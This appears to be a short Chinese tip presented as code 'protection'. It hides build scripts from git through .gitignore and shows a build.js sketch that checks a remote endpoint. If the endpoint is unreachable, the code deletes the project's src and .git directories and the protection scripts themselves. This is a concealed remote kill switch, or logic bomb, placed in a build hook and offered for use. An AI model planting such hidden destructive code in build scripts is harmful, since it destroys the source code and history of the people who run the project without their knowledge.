- 在.gitignore 配置
/build/
防止build中脚本被存储 - build文件夹下生效的是经过改造的
build.js
和webpack.protect.js
两个文件
/*in build.js*/
const protect = require('./webpack.protect.js')
//会先检查远程一个get端口,如果端口可以访问,则正常执行webpack
protect.check().then(data => {
//正常逻辑
}).catch(err => {
//如果端口访问失败,则删除src,.git目录,build.js,webpack.protect.js文件
protect.recursive()
})
复制代码